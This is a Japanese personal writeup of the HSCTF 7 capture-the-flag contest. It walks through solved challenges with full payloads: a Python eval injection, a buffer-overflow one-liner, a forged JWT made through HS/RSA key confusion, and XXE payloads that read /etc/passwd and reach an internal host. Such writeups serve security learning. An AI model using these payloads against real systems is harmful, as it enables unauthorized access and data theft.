HSCTF 7 - Writeup
月, 01 6月 2020, 12:00 UTC — 土, 06 6月 2020, 00:00 UTCに開催されたHSCTF 7 に個人で参加した。 Web問題を全完+beginners問題を幾つか解いたので以下にWriteupを記載する。
Miscellaneous
Does CTFd Work
welcome問題。問題文にflagが記載されている。
flag{y3S_i7_d03s_3xcl4m4710n_m4rk_890d9a0b}
Discord Flag
Discordを見るとflagが記載されている。
flag{good_luck_have_fun}
My First Calculator
添付ファイルでpythonで記述されたスクリプトが渡される。python2系でコーディングされている。
python2系ではeval関数を用いてシェルを送り込めるのでディレクトリ直下のflag.txtを読み込む処理を入力する。
※以下のコマンドを実行する
__import__('os').write(1, open('./flag.txt').read())
eval+hex入力で文字を置き換えて実行する。
# nc misc.hsctf.com 7001 Welcome to my calculator! You can add, subtract, multiply and divide some numbers First number: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+chr(0x28)+chr(0x27)+chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x72)+chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29)) flag{please_use_python3} Second number: 1 Operation (+ - * /): Sorry, only the number 1 is supported 26
flag{please_use_python3}
Binary Exploitation
Intro to Netcat 2: Electric Boogaloo
導入問題。ncコマンドで接続するとflagが表示される。
# nc pwn.hsctf.com 5001 Hey, here's your flag! flag{https://youtu.be/-TVWst0YqCI}
Boredom
C言語で書かれたファイルとELF64ファイルが渡される。
# objdump -d boredom boredom: ファイル形式 elf64-x86-64 <中略> 00000000004011d5 <flag>: 4011d5: 55 push %rbp 4011d6: 48 89 e5 mov %rsp,%rbp 4011d9: 48 83 ec 40 sub $0x40,%rsp 4011dd: 48 8d 35 60 0e 00 00 lea 0xe60(%rip),%rsi # 402044 <_IO_stdin_used+0x44> 4011e4: 48 8d 3d 5b 0e 00 00 lea 0xe5b(%rip),%rdi # 402046 <_IO_stdin_used+0x46> 4011eb: e8 90 fe ff ff callq 401080 <fopen@plt> 4011f0: 48 89 45 f8 mov %rax,-0x8(%rbp) 4011f4: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) 4011f9: 75 22 jne 40121d <flag+0x48> 4011fb: 48 8d 3d 4e 0e 00 00 lea 0xe4e(%rip),%rdi # 402050 <_IO_stdin_used+0x50> 401202: e8 29 fe ff ff callq 401030 <puts@plt> 401207: 48 8d 3d 92 0e 00 00 lea 0xe92(%rip),%rdi # 4020a0 <_IO_stdin_used+0xa0> 40120e: e8 1d fe ff ff callq 401030 <puts@plt> 401213: bf 01 00 00 00 mov $0x1,%edi 401218: e8 73 fe ff ff callq 401090 <exit@plt> 40121d: 48 8b 55 f8 mov -0x8(%rbp),%rdx 401221: 48 8d 45 c0 lea -0x40(%rbp),%rax 401225: be 32 00 00 00 mov $0x32,%esi 40122a: 48 89 c7 mov %rax,%rdi 40122d: e8 1e fe ff ff callq 401050 <fgets@plt> 401232: 48 8d 45 c0 lea -0x40(%rbp),%rax 401236: 48 89 c6 mov %rax,%rsi 401239: 48 8d 3d a0 0e 00 00 lea 0xea0(%rip),%rdi # 4020e0 <_IO_stdin_used+0xe0> 401240: b8 00 00 00 00 mov $0x0,%eax 401245: e8 f6 fd ff ff callq 401040 <printf@plt> 40124a: 48 8d 3d cc 0e 00 00 lea 0xecc(%rip),%rdi # 40211d <_IO_stdin_used+0x11d> 401251: e8 da fd ff ff callq 401030 <puts@plt> 401256: bf 2a 00 00 00 mov $0x2a,%edi 40125b: e8 30 fe ff ff callq 401090 <exit@plt> <中略>
flag関数のアドレスは00000000004011d5
であり208文字以上入力するとbofが発生するため以下を入力する。
# python -c 'print "A"*208+"\xd5\x11\x40\x00\x00\x00\x00\x00"' | nc pwn.hsctf.com 5002 I'm currently bored out of my mind. Give me sumpfink to do! Give me something to do: Ehhhhh, maybe later. Hey, that's a neat idea. Here's a flag for your trouble: flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132} Now go away.
flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}
Web Exploitation
Blurry Eyes
指定されたURLへアクセスすると一部の表示にモザイクがかかった画面が表示される。
ソースを確認するとpoefKuKjNPojzLDf
というclassを指定している箇所がある。
# curl https://blurry-eyes.web.hsctf.com/ <!doctype html> <html> <head> <meta charset="utf-8"> <title>Blurry Eyes</title> <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover"> <link rel="stylesheet" href="style.css"> <中略> <h4>Anyways, the flag that you need for this cha<span class="blur">llenge is: <span class="poefKuKjNPojzLDf"></span></span></h4>
該当の名称をstyle.css上で確認するとflagが記載されている。
.poefKuKjNPojzLDf:after { content: "f" "l" "a" "g" "{" "g" "l" "a" "s" "s" "e" "s" "_" "a" "r" "e" "_" "u" "s" "e" "f" "u" "l" "}" ; }
flag{glasses_are_useful}
Debt Simulator
指定されたURLへアクセスするとボタンを押下して所持金を増減させるゲーム画面が表示される。
ソースは難読化されている。
# curl https://debt-simulator.web.hsctf.com/ <!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"><link rel="manifest" href="/site.webmanifest"><link href="https://fonts.googleapis.com/css2?family=Merriweather&family=Raleway:wght@800&display=swap" rel="stylesheet"><title>Debt :))</title><link href="/static/css/main.6279183e.chunk.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><script>!function(e){function t(t){for(var n,l,i=t[0],a=t[1],f=t[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,i=1;i<r.length;i++){var a=r[i];0!==o[a]&&(n=!1)}n&&(u.splice(t--,1),e=l(l.s=r[0]))}return e}var n={},o={1:0},u=[];function l(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,l),r.l=!0,r.exports}l.m=e,l.c=n,l.d=function(e,t,r){l.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,t){if(1&t&&(e=l(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(l.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)l.d(r,n,function(t){return e[t]}.bind(null,n));return r},l.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(t,"a",t),t},l.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},l.p="/";var i=this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[],a=i.push.bind(i);i.push=t,i=i.slice();for(var f=0;f<i.length;f++)t(i[f]);var p=a;r()}([])</script><script src="/static/js/2.f3855285.chunk.js"></script><script src="/static/js/main.1b8f0187.chunk.js"></script></body></html>
読み込まれるJSファイルの内main.1b8f0187.chunk.js
ファイルに注目する。このファイルで値の受け取り(getPay)or支払い(getCost)を制御している。
# curl https://debt-simulator.web.hsctf.com/static/js/main.1b8f0187.chunk.js (this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[]).push([[0],[,,,,function(e,t,n){e.exports=n(15)},,,,,function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";n.r(t);var a=n(0),c=n.n(a),o=n(3),r=n.n(o),u=n(1);n(9);var l=function(){return c.a.createElement("header",null,c.a.createElement("h1",null,"DEBT SIMULATOR"),c.a.createElement("div",null,c.a.createElement("h5",null,"(Very Realistic)"),c.a.createElement("h4",null,"Try Your Luck!")))};n(10);var i=function(e){return c.a.createElement("div",{className:"Main"},"$",e.content)};n(11);var s=function(e){return c.a.createElement("div",{className:"Message"},e.message)};n(12);var m=function(e){return c.a.createElement("button",{onClick:e.onClick,className:"Button"},e.text)};n(13);var d=function(){var e=Object(a.useState)("Ready to Play?"),t=Object(u.a)(e,2),n=t[0],o=t[1],r=Object(a.useState)(0),d=Object(u.a)(r,2),f=d[0],h=d[1],E=Object(a.useState)("Start Game"),b=Object(u.a)(E,2),v=b[0],p=b[1];return Object(a.useEffect)((function(){f<-1e3?(o("You lost. You have less than $-1000. Better luck next time."),p("Play Again")):f>2e3?(o("You won. You have more than $2000. Try your luck again?"),p("Play Again")):0!==f&&"Next Round"!==v&&p("Next Round")})),c.a.createElement("div",{className:"App"},c.a.createElement(l,null),c.a.createElement(s,{message:n}),c.a.createElement(i,{content:f}),c.a.createElement(m,{onClick:function(){var e=Math.random()>.4;fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001",{method:"POST",body:"function="+(e?"getCost":"getPay"),headers:{"Content-type":"application/x-www-form-urlencoded"}}).then((function(e){return e.json()})).then((function(t){t=t.response,"Play Again"!==v&&"Start Game"!==v||(p("Next Round"),h(0)),o("You have "+(e?"paid me ":"received ")+"$"+t+"."),h((function(n){return e?n-t:n+t}))}))},text:v}))};n(14);r.a.render(c.a.createElement(d,null),document.getElementById("root"))}],[[4,1,2]]]);
試しにyolo_0000000000001
にアクセスしてみるとgetPay、getCost以外にFlagに関連するfunctionがある。
# curl https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001 {"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}
そのためgetgetgetgetgetgetgetgetgetFlagにアクセスしてみる。
# curl -XPOST -d "function=getgetgetgetgetgetgetgetgetFlag" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001 {"response":"flag{y0u_f0uND_m3333333_123123123555554322221}"}
flag{y0u_f0uND_m3333333_123123123555554322221}
Inspector Gadget
指定されたURLへアクセスするとソースにflagが記載されている。
# curl https://inspector-gadget.web.hsctf.com/<!DOCTYPE html> <中略> <h3>Penny</h3> <!-- flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t} --> <img src="penny.png" alt="Penny"> <中略>
flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t}
Broken Tokens
指定されたURLへアクセスするとusernameとpasswordの入力画面が表示される。また公開鍵ファイルが提示されている。
usernameとpasswordに適当な文字列を入力してログインするとauthのcookieにjwtが設定される。
画面表示からguestユーザでログインしていることが分かる。
jwtのユーザをguestからadminユーザへ書き換えてアクセスすればflagが表示されそうである。
提示されている公開鍵を使用してjwtの書き換えを実施する。
# ./jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw $$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$\ \__$$ |$$ | $\ $$ |\__$$ __| \__$$ __| $$ | $$ |$$ |$$$\ $$ | $$ | $$ | $$$$$$\ $$$$$$\ $$ | $$ |$$ $$ $$\$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ | $$\ $$ |$$$$ _$$$$ | $$ | $$ |$$ / $$ |$$ / $$ |$$ | $$ | $$ |$$$ / \$$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | \$$$$$$ |$$ / \$$ | $$ | $$ |\$$$$$$ |\$$$$$$ |$$ | \______/ \__/ \__| \__|$$$$$$\__| \______/ \______/ \__| Version 1.3 \______| ===================== Decoded Token Values: ===================== Token header values: [+] typ = JWT [+] alg = RS256 Token payload values: [+] auth = guest ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ---------------------- ######################################################## # Options: # # ==== TAMPERING ==== # # 1: Tamper with JWT data (multiple signing options) # # # # ==== VULNERABILITIES ==== # # 2: Check for the "none" algorithm vulnerability # # 3: Check for HS/RSA key confusion vulnerability # # 4: Check for JWKS key injection vulnerability # # # # ==== CRACKING/GUESSING ==== # # 5: Check HS signature against a key (password) # # 6: Check HS signature against key file # # 7: Crack signature with supplied dictionary file # # # # ==== RSA KEY FUNCTIONS ==== # # 8: Verify RSA signature against a Public Key # # # # 0: Quit # ######################################################## Please make a selection (1-6) > 1 ==================================================================== This option allows you to tamper with the header, contents and signature of the JWT. ==================================================================== Token header values: [1] typ = JWT [2] alg = RS256 [3] *ADD A VALUE* [4] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 Token payload values: [1] auth = guest [2] *ADD A VALUE* [3] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 1 Current value of auth is: guest Please enter new value and hit ENTER > admin [1] auth = admin [2] *ADD A VALUE* [3] *DELETE A VALUE* [0] Continue to next step Please select a field number: (or 0 to Continue) > 0 Token Signing: [1] Sign token with known HMAC-SHA 'secret' [2] Sign token with RSA/ECDSA Private Key [3] Strip signature using the "none" algorithm [4] Sign with HS/RSA key confusion vulnerability [5] Sign token with key file [6] Inject a key and self-sign the token (CVE-2018-0114) [7] Self-sign the token and export an external JWKS [8] Keep original signature Please select an option from above (1-5): > 4 Please enter the Public Key filename: > /publickey.pem ==================================================================== This option takes an available Public Key (the SSL certificate from a webserver, for example?) and switches the RSA-signed (RS256/RS384/RS512) JWT that uses the Public Key as its 'secret'. ==================================================================== File loaded: /publickey.pem Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application). (This will only be valid on unpatched implementations of JWT.) eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4
adminユーザへ書き換えたjwtをauthにセットして再度アクセスしてみる。
# curl -b "auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4" https://broken-tokens.web.hsctf.com/ <中略> <div>Logged in as admin</div> <div id="flag">The flag is flag{1n53cur3_tok3n5_5474212}</div> <中略>
flag{1n53cur3_tok3n5_5474212}
Traffic Lights W
指定されたURLへアクセスするとDocker端末の管理コンソール画面が表示される。traffic-light-1001とtraffic-light-1004のみが起動しているようだ。 traffic-light-1001のFirmwareUpload画面を押下するとXMLファイルの入力画面が表示される。
exampleを参考にXXEの脆弱性があることが分かる。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE name [ <!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=../../../../../etc/passwd"> ]> <root> <content>&h;</content> </root>
応答された文字列をbase64でデコードする。
# echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9ub2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6YWRtOi92YXIvYWRtOi9zYmluL25vbG9naW4KbHA6eDo0Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3NiaW4vbm9sb2dpbgpzeW5jOng6NTowOnN5bmM6L3NiaW46L2Jpbi9zeW5jCnNodXRkb3duOng6NjowOnNodXRkb3duOi9zYmluOi9zYmluL3NodXRkb3duCmhhbHQ6eDo3OjA6aGFsdDovc2Jpbjovc2Jpbi9oYWx0Cm1haWw6eDo4OjEyOm1haWw6L3Zhci9tYWlsOi9zYmluL25vbG9naW4KbmV3czp4Ojk6MTM6bmV3czovdXNyL2xpYi9uZXdzOi9zYmluL25vbG9naW4KdXVjcDp4OjEwOjE0OnV1Y3A6L3Zhci9zcG9vbC91dWNwcHVibGljOi9zYmluL25vbG9naW4Kb3BlcmF0b3I6eDoxMTowOm9wZXJhdG9yOi9yb290Oi9zYmluL25vbG9naW4KbWFuOng6MTM6MTU6bWFuOi91c3IvbWFuOi9zYmluL25vbG9naW4KcG9zdG1hc3Rlcjp4OjE0OjEyOnBvc3RtYXN0ZXI6L3Zhci9tYWlsOi9zYmluL25vbG9naW4KY3Jvbjp4OjE2OjE2OmNyb246L3Zhci9zcG9vbC9jcm9uOi9zYmluL25vbG9naW4KZnRwOng6MjE6MjE6Oi92YXIvbGliL2Z0cDovc2Jpbi9ub2xvZ2luCnNzaGQ6eDoyMjoyMjpzc2hkOi9kZXYvbnVsbDovc2Jpbi9ub2xvZ2luCmF0Ong6MjU6MjU6YXQ6L3Zhci9zcG9vbC9jcm9uL2F0am9iczovc2Jpbi9ub2xvZ2luCnNxdWlkOng6MzE6MzE6U3F1aWQ6L3Zhci9jYWNoZS9zcXVpZDovc2Jpbi9ub2xvZ2luCnhmczp4OjMzOjMzOlggRm9udCBTZXJ2ZXI6L2V0Yy9YMTEvZnM6L3NiaW4vbm9sb2dpbgpnYW1lczp4OjM1OjM1OmdhbWVzOi91c3IvZ2FtZXM6L3NiaW4vbm9sb2dpbgpjeXJ1czp4Ojg1OjEyOjovdXNyL2N5cnVzOi9zYmluL25vbG9naW4KdnBvcG1haWw6eDo4OTo4OTo6L3Zhci92cG9wbWFpbDovc2Jpbi9ub2xvZ2luCm50cDp4OjEyMzoxMjM6TlRQOi92YXIvZW1wdHk6L3NiaW4vbm9sb2dpbgpzbW1zcDp4OjIwOToyMDk6c21tc3A6L3Zhci9zcG9vbC9tcXVldWU6L3NiaW4vbm9sb2dpbgpndWVzdDp4OjQwNToxMDA6Z3Vlc3Q6L2Rldi9udWxsOi9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi86L3NiaW4vbm9sb2dpbgpuZ2lueDp4OjEwMDoxMDE6bmdpbng6L3Zhci9saWIvbmdpbng6L3NiaW4vbm9sb2dpbgo" | base64 -d root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
traffic-light-1001上のflagファイルを探すがなかなか見つからない。flagファイルを探す中でLFIだけでなくRFIも成功することがわかる。
ここでTopページにアクセスするとError: High CPU Usage
でアクセスできないtraffic-light-1004がある。
もしこのサーバへアクセスできればflagファイルに関連する情報がありそうだ。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE name [ <!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=http://traffic-light-1004"> ]> <root> <content>&h;</content> </root>
応答された文字列をbase64でデコードする。
# echo -n "SWYgeW91J3JlIHJlYWRpbmcgdGhpcy4uLiBZb3UgZm91bmQgb3V0IHRoYXQgdGhlIHRyYWZmaWMgbGlnaHRzIGFyZSBmYWtlLgpEb24ndCB0ZWxsIGFueW9uZS4gSGVyZSdzIGEgZmxhZyB0byBtYWtlIHlvdSBoYXBweTogZmxhZ3tzaGhfaW1fbWluaW5nX2JpdGNvaW59Cg" | base64 -d If you're reading this... You found out that the traffic lights are fake. Don't tell anyone. Here's a flag to make you happy: flag{shh_im_mining_bitcoin}
flag{shh_im_mining_bitcoin}
※ちなみにソースファイルは以下の通り。
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Firmware Upload</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous"> <link href="dashboard.css" rel="stylesheet"> </head> <body> <nav class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0"> <a class="navbar-brand col-md-3 col-lg-2 mr-0 px-3" href="/">Shady Traffic Light Company</a> </nav> <div class="container"> <div class="h-100 d-flex justify-content-center align-items-center border-bottom"> <div> <br><br><br> <?php if(isset($_GET["light"])) { $light = $_GET["light"]; if ($light === "1001") { echo "<h1 class='h2'>{$light}</h1>"; echo '<form action="/firmware_upload.php" method="GET"> <div class="form-group"> <label for="xml">Upload your XML firmware.<br>Example: <a href="example"><code>example</code></a></label> <textarea class="form-control" id="xml" name="xml" rows="8"></textarea><br><button type="submit" class="btn btn-primary btn-block">Submit</button></div> </form>'; } else if ($light === "1004") { echo "<h1 class='h2'>{$light}</h1>"; echo "<h1 class=\"h2\">Error: High CPU Usage</h1>"; } else { echo "<h1 class=\"h2\">Error: Not active</h1>"; } } ?> <?php if (isset($_GET["xml"])) { libxml_disable_entity_loader (false); $xml = strlen($_GET["xml"]) > 0 ? $_GET["xml"] : "Firmware Update Failed"; $document = new DOMDocument(); $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); $parsed = simplexml_import_dom($document); echo $parsed->content; } ?> </div> </div> </div> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script> </body> </html>
また以下URLへ直接アクセスしてもflagが表示される。
# curl https://traffic-light-w.web.hsctf.com/firmware_upload.php?xml=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%0D%0A%3C%21DOCTYPE+name+%5B+%0D%0A%3C%21ENTITY+h+SYSTEM+%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhttp%3A%2F%2Ftraffic-light-1004%22%3E%0D%0A%5D%3E%0D%0A%3Croot%3E%0D%0A++%3Ccontent%3E%26h%3B%3C%2Fcontent%3E%0D%0A%3C%2Froot%3E
Very Safe Login
指定されたURLへアクセスするとアクセスすべきusernameとpasswordがソースファイルに記載されている。
# curl https://very-safe-login.web.hsctf.com/very-safe-login <中略> if(username === "jiminy_cricket" && password === "mushu500") { showFlag(); return false; } return false; <中略>
該当のusernameとpasswordでログインするとflagが表示される。
# curl -XPOST -d "username=jiminy_cricket&password=mushu500" https://very-safe-login.web.hsctf.com/very-safe-login <中略> <div class="alert alert-success">You did it!</div> <h1 class="display-3">flag{cl13nt_51de_5uck5_135313531}</h1> <中略>
flag{cl13nt_51de_5uck5_135313531}
Cryptography
XORed
添付ファイルの内容を確認する。
I was given the following equations. Can you help me decode the flag? Key 1 = 5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533 Key 1 ^ Key 3 = 9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b Key 2 ^ Key 3 ^ Key 5 = 557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05 Key 1 ^ Key 4 ^ Key 5 = 7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb Key 3 ^ Key 4 = 996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5 = 306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139 Author: AC
(Key 1)^(Key 1 ^ Key 3)
= Key 3が求まる。
(Key 3)^(Key 2 ^ Key 3 ^ Key 5)
= (Key 2 ^ Key 5)が求まる。
(Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5)^(Key 1)^(Key 2 ^ Key 5)^(Key 3 ^ Key 4)
でFlagが求まる。
Key 3 =c7dd292859609aff68bea47262516874a49321889c1f868eb22bc428
(Key 2 ^ Key 5 =92a1cf01b16869477a7095b5415cb6dd5fa19a2633908bc4e6208b2d
Flag =666c61677b6e30745f7430305f683472445f6830703366756c6c797d
hexデコードしてflagを確認する。
flag{n0t_t00_h4rD_h0p3fully}
解きたかった問題
・Picture Lab: Activity 10 (Forensics)
・CNC (Forensics)
・Primes (Miscellaneous)
・N-95 (Miscellaneous)
感想
・もっと精進します。